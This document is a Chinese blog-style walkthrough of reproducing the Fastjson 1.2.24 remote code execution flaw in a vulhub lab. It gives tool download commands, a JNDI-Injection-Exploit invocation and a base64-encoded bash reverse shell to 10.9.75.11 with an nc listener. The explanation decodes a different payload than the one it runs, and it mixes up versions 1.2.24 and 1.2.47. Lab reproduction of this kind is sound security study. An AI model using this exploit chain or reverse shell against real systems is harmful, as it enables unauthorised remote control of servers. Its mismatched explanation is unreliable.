vulhub-FastJson 1.2.24-rce漏洞复现

FastJson 1.2.24-rce漏洞复现

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

原理解析:为了成功利用 Fastjson 1.2.47 RCE 反序列化漏洞,需要提前在 Kali 虚拟机中搭建 Web 服务器和 RMI 服务,随后当我们向 fastjson 服务器 POST 提交 POC 后,fastjson 服务器会访问远程 RMI 服务,RMI 再通过将请求重定向到 Web 服务器后下载存放在 Web服务器中的恶意 Java代码(已编译的反序列化类),从而成功实现远程命令执行

基础知识
反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
RMI是一种行为,指的是Java远程方法调用。
JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
ldap指轻量级目录访问协议。

存在java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
原文链接:https://blog.csdn.net/qq_45813980/article/details/123590225

搭建环境 然后输入ip地址加端口8090访问

vulhub-FastJson 1.2.24-rce漏洞复现_第1张图片

一定要变更数据包为post,再添加变量,不然会出现语法错误。

vulhub-FastJson 1.2.24-rce漏洞复现_第2张图片

点击提交,会出现一个500的报错

vulhub-FastJson 1.2.24-rce漏洞复现_第3张图片

将文档类型改为json,数据又被显示,这中间就经历了一个序列化和反序列化的一个过程。

vulhub-FastJson 1.2.24-rce漏洞复现_第4张图片

fastjson插件安装

sudo proxychains git clone https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar

vulhub-FastJson 1.2.24-rce漏洞复现_第5张图片

选择添加插件,选择添加

vulhub-FastJson 1.2.24-rce漏洞复现_第6张图片

并选择添加本地文件,语言为java.

vulhub-FastJson 1.2.24-rce漏洞复现_第7张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第8张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第9张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第10张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第11张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第12张图片

RMI的定义

RMI(Remote Method Invocation,远程方法调用)是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。Java作为一种风靡一时的网络开发语言,其巨大的威力就体现在它强大的开发分布式网络应用的能力上,而RMI就是开发百分之百纯Java的网络分布式应用系统的核心解决方案之一。其实它可以被看作是RPC的Java版本。但是传统RPC并不能很好地应用于分布式对象系统。而Java RMI 则支持存储于不同地址空间的程序级对象之间彼此进行通信,实现远程对象之间的无缝远程调用。

vulhub-FastJson 1.2.24-rce漏洞复现_第13张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第14张图片

然后就更改一下解析方式,将rmi更改成为ldap.

vulhub-FastJson 1.2.24-rce漏洞复现_第15张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第16张图片

工具下载

sudo proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git


vulhub-FastJson 1.2.24-rce漏洞复现_第17张图片

 git config -l 命令可以列出当前Git仓库的所有配置信息

vulhub-FastJson 1.2.24-rce漏洞复现_第18张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第19张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第20张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第21张图片

sudo proxychains4 wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 

vulhub-FastJson 1.2.24-rce漏洞复现_第22张图片

sudo java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/xbd"-A 10.9.75.11 
//:使用Java执行一个JNDI注入攻击的工具,针对IP地址为10.9.75.11的主机。具体而言,它似乎是在该主机上执行了一个名为"touch /tmp/xbd"的命令,希望在/tmp目录下创建了一个名为xbd的文件

vulhub-FastJson 1.2.24-rce漏洞复现_第23张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第24张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第25张图片

sudo docker ps -a 查看容器id

vulhub-FastJson 1.2.24-rce漏洞复现_第26张图片

sudo docker exec -it 70b /bin/bash

vulhub-FastJson 1.2.24-rce漏洞复现_第27张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第28张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第29张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第30张图片

尝试获取sheel

sudo java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjkuNzUuMTEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -A "10.9.75.11"
解析:这个命令串实际上包含了两个部分,通过管道(|)连接起来:
第一个部分是 {echp,c2ggLWkgPiYgL2Rldi90Y3AvMTAuOS43NS4xMS81Njc4IDA+JjE=}{base64,-d},看起来像一串被编码过的文本。但是,有一个拼写错误,应该是 echo 而不是 echp。
如果我们修正一下:{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuOS43NS4xMS81Njc4IDA+JjE=}{base64,-d}。
这里使用了两个命令:echo 和 base64 -d。echo 命令会输出后面的参数,而 base64 -d 则会对输入的 Base64 编码进行解码。
解码这段文本 c2ggLWkgPiYgL2Rldi90Y3AvMTAuOS43NS4xMS81Njc4IDA+JjE= 时,我们得到了以下结果:sh -i >& /dev/tcp/10.9.75.11/5678 0>&1。
第二个部分是 {bash,-i},这个部分是一个单独的命令,即 bash -i,其中 -i 表示交互式运行 Bash shell。
将两个部分组合起来,我们得到以下命令:
bash -c 这个命令是将要执行的脚本和语句,通过字符的方式传递给bash解释器执行。

vulhub-FastJson 1.2.24-rce漏洞复现_第31张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第32张图片

vulhub-FastJson 1.2.24-rce漏洞复现_第33张图片

nc -lnvp 1234

vulhub-FastJson 1.2.24-rce漏洞复现_第34张图片

你可能感兴趣的:(网络安全)